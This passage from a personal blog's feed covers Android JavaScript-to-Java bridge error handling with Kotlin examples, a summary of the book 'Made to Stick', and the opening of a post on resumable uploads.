                Java
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#586e75">// The Javascript interface object in Kotlin</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">class</span> <span style="color:#268bd2">WebkitJsInterface</span>(context: Context) {
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">private</span> val mContext <span style="color:#719e07">=</span> context
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">// ContactJsInterface.getContacts() maps to this method</span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">@JavascriptInterface</span>
</span></span><span style="display:flex;"><span>    fun <span style="color:#268bd2">getContacts</span>() {
</span></span><span style="display:flex;"><span>        mContext.contentResolver.query(
</span></span><span style="display:flex;"><span>            ContactsContract.Contacts.CONTENT_URI,
</span></span><span style="display:flex;"><span>            <span style="color:#cb4b16">null</span>, <span style="color:#cb4b16">null</span>, <span style="color:#cb4b16">null</span>, <span style="color:#cb4b16">null</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>After starting the app, check that the READ_CONTACTS is revoked or revoke it with 
<a href="/tech/introducing-adb-enhanced-a-swiss-army-knife-for-android-development/">adbe</a></p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Sh
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>adbe permissions revoke net.ashishb.jstojavademo contacts</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Now, when you click the &ldquo;Click me&rdquo; button, you will see a SecurityException in the logs but the app won&rsquo;t crash. If you check Thread&rsquo;s name via <em>Thread.currentThread().name</em>, it will return JavaBridge. It seems any Exception thrown on this thread is simply swallowed. This won&rsquo;t show up in analytics or crash log reports. Your Javascript code on return simply won&rsquo;t be executed. And your app will appear unusable. This is worse than crashes. crashes at least give the app a chance to get out of a bad state.</p>
<blockquote>
<p>This is worse than crashes. crashes at least give the app a chance to get out of a bad state.</p></blockquote>
<h2 id="remedy">Remedy</h2>
<p>Sending error information across languages is hard. At the bare minimum, every such call should be encapsulated with a try-catch which catches <em>Exception</em>. For severe unexpected errors, it might not be bad to let the app crash, as you would, while writing the Java code.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Java
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">27
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#268bd2">@JavascriptInterface</span>
</span></span><span style="display:flex;"><span>fun <span style="color:#268bd2">getContacts</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">try</span> {
</span></span><span style="display:flex;"><span>        getContactsUnsafe()
</span></span><span style="display:flex;"><span>    } <span style="color:#719e07">catch</span> (e : Exception) {
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">if</span> (isSevereException(e)) {
</span></span><span style="display:flex;"><span>            rethrowOnMainThread(e)
</span></span><span style="display:flex;"><span>        } <span style="color:#719e07">else</span> {
</span></span><span style="display:flex;"><span>            logError(e)
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">private</span> fun <span style="color:#268bd2">logError</span>(e: Exception) {
</span></span><span style="display:flex;"><span>    Log.e(<span style="color:#2aa198">&#34;WebkitJsInterface&#34;</span>, <span style="color:#2aa198">&#34;Error occurred&#34;</span>, e)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">private</span> fun <span style="color:#268bd2">rethrowOnMainThread</span>(e: Exception) {
</span></span><span style="display:flex;"><span>    Handler(Looper.getMainLooper()).post { <span style="color:#719e07">throw</span> e }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">private</span> fun <span style="color:#268bd2">getContactsUnsafe</span>() {
</span></span><span style="display:flex;"><span>    mContext.contentResolver.query(
</span></span><span style="display:flex;"><span>        ContactsContract.Contacts.CONTENT_URI,
</span></span><span style="display:flex;"><span>        <span style="color:#cb4b16">null</span>, <span style="color:#cb4b16">null</span>, <span style="color:#cb4b16">null</span>, <span style="color:#cb4b16">null</span>
</span></span><span style="display:flex;"><span>    )
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Full code for this blog post is posted on   
    
    
<a href="https://github.com/ashishb/JavascriptToJavaAndroidBridgeCallDemo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Github</a></p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/android-development" term="android-development" label="android-development"/><category scheme="https://ashishb.net/tag/java" term="java" label="java"/><category scheme="https://ashishb.net/tag/javascript" term="javascript" label="javascript"/></entry><entry><title type="html">Book summary: Made to Stick by Chip Heath and Dan Heath</title><link href="https://ashishb.net/book-summary/made-to-stick/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><link href="https://ashishb.net/book-summary/woke-inc/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Woke, Inc. by Vivek Ramaswamy"/><link href="https://ashishb.net/book-summary/sum-forty-tales-from-the-afterlives/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary of Sum: Forty Tales From The Afterlives"/><link href="https://ashishb.net/book-summary/red-notice/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Red Notice by Bill Browder"/><id>https://ashishb.net/book-summary/made-to-stick/</id><author><name>Ashish Bhatia</name></author><published>2018-10-28T05:55:11+00:00</published><updated>2018-10-28T05:55:11+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the art of making ideas stick with the principles of simplicity, concreteness, and storytelling to captivate and leave a lasting impact on your audience.</blockquote><p>The   
    
    
<a href="https://amzn.to/2PVAmep?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> is aimed at anyone who has an idea to convey and is trying to ensure that what they are trying to communicate sticks with their audience. Proverbs and folklores survive while corporate marketing material does not.</p>
<h3 id="stories-stick-facts-dont">Stories stick Facts don&rsquo;t</h3>
<p>A famous urban legend in the United States is the   
    
    
<a href="https://www.snopes.com/fact-check/youve-got-to-be-kidneying/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Kidney heist</a>. An attractive woman offered your friend&rsquo;s friend a drink. He became unconscious soon afterward and woke up later to realize his kidney has been stolen. This urban legend is an interesting story worth sharing, and that&rsquo;s why it sticks. Proper delivery is like this; it does not need repetition; people hear them once and remember them forever.</p>
<p>A non-profit found out that a single bag of popcorn, due to the presence of coconut oils, contains twice the recommended daily allowance of saturated fats. Telling the public that 37 gms of saturated fats are above the 20 gm daily limit was meaningless. People can&rsquo;t relate to it, and it won&rsquo;t form a story. So, the non-profit did a press conference and told that a single bag of popcorn is worse than a &ldquo;bacon-and-eggs breakfast, big Mac and fries for lunch, and steak dinner with trimmings combined&rdquo;. That was an immediate hit, sales of popcorn dropped, and eventually, theatres conceded to remove coconut oil from popcorn.</p>
<p>In the 1960s, a myth about contaminated candies given to children during holidays begins to spread. Parents were scared, and states passed laws. When the researcher did the study, they found precisely two cases of candy contamination, both by family members.</p>
<h4 id="six-principles-of-stickiness-success">Six principles of stickiness (SUCCESS)</h4>
<ol>
<li>Simplicity - The idea should be stripped to one statement so profound that the individual can spend their life learning to follow it. For example, &ldquo;Don&rsquo;t take drinks from strangers.&rdquo;</li>
<li>Unexpectedness - Violate people&rsquo;s expectations to ensure that they are not zoned out while listening.</li>
<li>Concreteness - Make the ideas concrete. Mission statements, synergies, and vision do not go too far. Naturally, sticky opinions are full of concrete images, for example, of children eating apples with razor blades.</li>
<li>Credibility - Ask people to themselves try and see if they feel the idea is credible or not.</li>
<li>Emotions - We feel for humans, not abstractions. Prefer facts over feelings. For example, a teenager won&rsquo;t quit smoking fearing its consequence, but might stop it as resentment of big tobacco.</li>
<li>Stories - Stories stick and are like a mental simulation of the situation, we will encounter in the future.</li>
</ol>
<p>Kennedy&rsquo;s &ldquo;Putting a man on the moon by the end of the decade&rdquo; fits all the criteria. &ldquo;Becoming an international leader in the space industry through maximum team-centered innovation and strategically targeted aerospace initiatives&rdquo; means nothing. Sadly that&rsquo;s how modern days CEO speak. While many of the above ideas are apparent, we end up ignoring these due to the curse of knowledge.</p>
<p>In Tapper vs. Listener experiment, one person taps a given famous song on a listener&rsquo;s hand. The tapper thought 50% of the listeners would guess the song correctly; only 2.5% did. That&rsquo;s the knowledge gap we encounter when conveying our ideas.</p>
<h3 id="keeping-things-simple">Keeping things simple</h3>
<p>The more we reduce the amount of information in an idea, the more it gets stickier.</p>
<p>US army moved from passing the actual commanding order to the commander&rsquo;s intent (CI). The CI prescribes the core idea that has to be done, not how it has to be done. CI is good enough to deal with unpredictable situational changes.</p>
<h4 id="dont-bury-the-lead">Don&rsquo;t bury the lead</h4>
<p>Focus on one core idea. The information should be in decreasing order of importance as one reads further. For the 1992 elections, Clinton used &ldquo;It&rsquo;s the economy, stupid&rdquo; as the lead. To avoid burying the lead, other essential things like balancing the budget were forcefully left out.</p>
<h4 id="decision-paralysis">Decision paralysis</h4>
<p>Extraneous information, uncertainty, and choices impact our behavior. For example, in a study, only 20% of students chose to study over a once-in-a-lifetime lecture. But when a third choice to go watch a foreign film was added, 40% chose to study. The students chose a less enjoyable decision of studying as opposed to spending time choosing between the other two alternatives.</p>
<h4 id="accuracy-vs-accessibility">Accuracy vs. accessibility</h4>
<p>An accurate but inaccessible message like &ldquo;maximizing shareholder value&rdquo; is useless. Southwest&rsquo;s &ldquo;The low-cost airline&rdquo; is an actionable message which can be used to make decisions.</p>
<p>  
    
    
<a href="https://www.mydailyrecord.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The Daily Record</a>, a local newspaper of Raleigh, has an intense focus on &ldquo;names, names, and names&rdquo; around anything related to locals. That&rsquo;s why it enjoys a strong readership. Most other local newspapers, in practice, pay lip service to the idea of local news. Proverbs are passed around for generations since they are simple to learn, for example, &ldquo;a bird in the hand is better than two in the bush.&rdquo; Palm Pilot won the market since it tried to do a few things well. As opposed to other PDAs that were trying to stuff too much the functionality.</p>
<h4 id="good-vs-bad-analogies">Good vs. bad analogies</h4>
<p>Good analogies are generative. Disney calls its employees cast members. They are on stage when they are in front of the public. Even a Disney street cleaner is a performer. One can easily guess that since they are performing in front of people, they are expected to take breaks in private. Compared to this, Subway&rsquo;s Sandwich artist is a flawed analogy. The job does not have much individual expression, and therefore, calling them artists does not help them define any aspect of their job.</p>
<h3 id="unexpected---getting-peoples-attention-and-keeping-it">Unexpected - Getting people&rsquo;s attention and keeping it</h3>
<h4 id="good-vs-bad-unexpectedness">Good vs. bad unexpectedness</h4>
<p>An   
    
    
<a href="https://www.youtube.com/watch?v=7HMHJ4UTLXM&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">advertisement</a> for a new minivan, the whole family, is inside it and enjoying it, then suddenly an accident happens at an intersection. The ad was about the importance of car seat belts. It does the job well of communicating its core message. Outpost.com, an online computer part seller, did a super bowl   
    
    
<a href="https://www.youtube.com/watch?v=9cmT8M_67ow&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">advertisement</a> where wolves attack marching band members. It had an element of surprise but has no core message.</p>
<ol>
<li>Find the central idea of your message</li>
<li>Find out what&rsquo;s counter-intuitive about it</li>
<li>Deliver the message in a way that breaks the audience&rsquo;s guessing machinery. It attracts attention.</li>
</ol>
<p>Common sense is the enemy of sticky messages. When we are angry, we think we are right. We remain curious as long as we believe there are gaps in our knowledge; the way to maintain someone&rsquo;s attention is to open a gap before closing an existing one. In a teaching setting, one great way to maintain curiosity is to ask a question, and then make people publicly guess the answer to it, thereon, eventually, revealing the mystery at the end.</p>
<p>Masaru Ibuka, Sony&rsquo;s chief technologist in the 1950s, motivated its engineer to build &ldquo;pocket-sized radios&rdquo; using the newly licensed transistor technology. Till then, Radio was a piece of furniture. It took a long while before Radios became pocket-sized, but the surprising and concrete vision kept engineers motivated.</p>
<h3 id="concrete-messaging">Concrete messaging</h3>
<p>A concrete idea hooks into our existing notions and is easy to memorize. For example, Pomelo is an extra-large grapefruit. That&rsquo;s one reason why folklores like &ldquo;grapes are sour&rdquo; are so vivid and concrete. They might have had abstract details that got stripped over time.</p>
<p>We fall for abstractness because of the expertise trap. A novice perceives a concrete detail as a concrete detail. Expert perceives it as symbols of patterns and insights; they have learned over the years. And that&rsquo;s the <strong>Curse of Knowledge</strong>. A significant advantage of concreteness is that it makes coordination easy across different teams. &ldquo;A plane which can fly from New York to Miami non-stop&rdquo; is concrete, but &ldquo;the best passenger airplane in the world&rdquo; is not. Concrete exercises are easier, &ldquo;Write a list of all white things you can think of&rdquo; is hard, and &ldquo;Write a list of all white things on your refrigerator&rdquo; is easy. James Grant, director of UNICEF, would put a packet of salt and sugar, the ORS ingredients, on the table in front of a Prime Minister and say that this costs less than a cup of tea and can save millions of lives in their country. The trick worked.</p>
<h3 id="credible-messaging">Credible messaging</h3>
<p>Good source of building credibility</p>
<ol>
<li>Authority - FDA, CDC, and doctors, all are sources of credibility for us.</li>
<li>Antiauthority - A recovering alcoholic/smoker is an anti-authority who is even more powerful than authority.</li>
<li>Facts &amp; details - Adding details, even unnecessary ones, makes the story look credible. Use Facts only if they are comprehensible. For example, 4000 nuclear warheads are not comprehensible.   
    
    
<a href="https://en.wikipedia.org/wiki/Beyond_War?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Beyond War</a> Movement, used to use a metal bucket and would drop a BB metallic ball in it. The presenter would compare this to the bomb dropped in Hiroshima and would give vivid details of that. Then he would drop 4000 BBs into the bucket and mention that this is the number of nuclear warheads in the world. The story worked. Safexpress in India focused on high-margin reliable delivery and got a lot of international business. They were having a hard time finding the local business, though. They convinced Bollywood producers to use them as a distributor by telling them how Safexpress delivered Harry Potter in time and how they handle the delivery of board examination papers across India.</li>
<li>Falsifiable claim - Nothing works better than a claim that anyone can verify for themselves. For example, a burger shop claiming to check our burgers is bigger than Macdonald&rsquo;s is a falsifiable claim. It works great.</li>
</ol>
<h3 id="emotions-over-facts">Emotions over facts</h3>
<p>Our analytical brain performs differently than the emotional one. Numbers and facts trigger the former, and stories trigger the latter. There are two major appeals - appeals to self-interest (what&rsquo;s in it for me?) and appeal to identity (what would be a person with an identity similar to me do?). Identity rules over self-interest, especially in politics, where people vote based on the group they identify with most.   
    
    
<a href="https://www.youtube.com/watch?v=iDzcJj5jYbY&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Don&rsquo;t mess with Texas</a> anti-litter campaign that directly appealed to the identity of Bubbas and significantly reduced the roadside litter.</p>
<h3 id="stories">Stories</h3>
<p>We love stories for the entertainment they provide. There are three types of story plots - challenge, connection, and creativity plot.</p>
<ol>
<li>Challenge plot -This storytelling inspires listeners to act. For example, a 300 pounds   
    
    
<a href="https://en.wikipedia.org/wiki/Jared_Fogle?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">man</a> goes on a Subway diet and cuts his weight to 180 pounds. This story first showed up in a student newspaper, and then an ad agency heard about it and decided to pursue it. So, another lesson here is that you don&rsquo;t always have to find a message which sticks but should be able to spot one.</li>
<li>Connection plot - This storytelling improves bonding and relationship. They are about human connections, for example, Romeo &amp; Juliet.</li>
<li>Creativity plot -This storytelling is to inspire people to act differently than what they are doing right now. For example, Ingersoll-Rand, an industrial appliances company, made a new team whose goal was to produce new grinder designs at 4x the pace. The team invented a new test called Drag Test to quickly decide whether a new form of plastic can replace metals or not. A similar situation happened with Stephen Denning in 1996, who found out that a farmer in rural Zambia saw information about fighting malaria on USA CDC&rsquo;s website. When he narrated this story inside The World Bank, the bank decided that knowledge management should be their top priority.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Testing resumable uploads</title><link href="https://ashishb.net/programming/testing-resumable-uploads/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/cross-language-bridge-error-handling-js-to-java-example/?utm_source=atom_feed" rel="related" type="text/html" title="Cross-language bridge error handling: JS-to-Java Example"/><link href="https://ashishb.net/programming/architecting-android-apps-for-emerging-markets/?utm_source=atom_feed" rel="related" type="text/html" title="Architecting Android apps for emerging markets"/><link href="https://ashishb.net/programming/troublshooting-android-emulator-emulator-process-finished-with-exit-code-1/?utm_source=atom_feed" rel="related" type="text/html" title="Troubleshooting Android Emulator: Process finished with exit code 1"/><link href="https://ashishb.net/programming/circle-ci-vs-travis-ci/?utm_source=atom_feed" rel="related" type="text/html" title="Circle CI vs Travis CI"/><link href="https://ashishb.net/programming/android-fragment-related-pitfalls-and-how-to-avoid-them/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Fragment related pitfalls and how to avoid them"/><id>https://ashishb.net/programming/testing-resumable-uploads/</id><author><name>Ashish Bhatia</name></author><published>2018-10-06T02:15:15+00:00</published><updated>2018-10-06T02:15:15+00:00</updated><content type="html"><![CDATA[<blockquote>Learn how resumable uploads work and test them effectively. Get step-by-step guidance, sample code, and tips for handling network interruptions seamlessly.</blockquote><p>The core idea behind resumable upload is straightforward if you are uploading a big file, then you are going to encounter users in the network conditions where they cannot upload the file in a single network session. The client-side code, to avoid restarting the file upload from the beginning, must figure out what portion of the file was uploaded and &ldquo;resume&rdquo; the upload of the rest.</p>
<h3 id="how-to-do-resumable-upload">How to do resumable upload</h3>
<p>Before starting the upload, send a unique ID generated from the file contents to the server like MD-5 or SHA-256. The server decides and declares what the format of that unique ID is. Next, the server responds with an offset which indicates how many bytes server already has. The client uploads rest of the bytes with a   
    
    
<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Range?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Content-Range header</a>.</p>
<h3 id="how-to-test-resumable-upload">How to test resumable upload</h3>
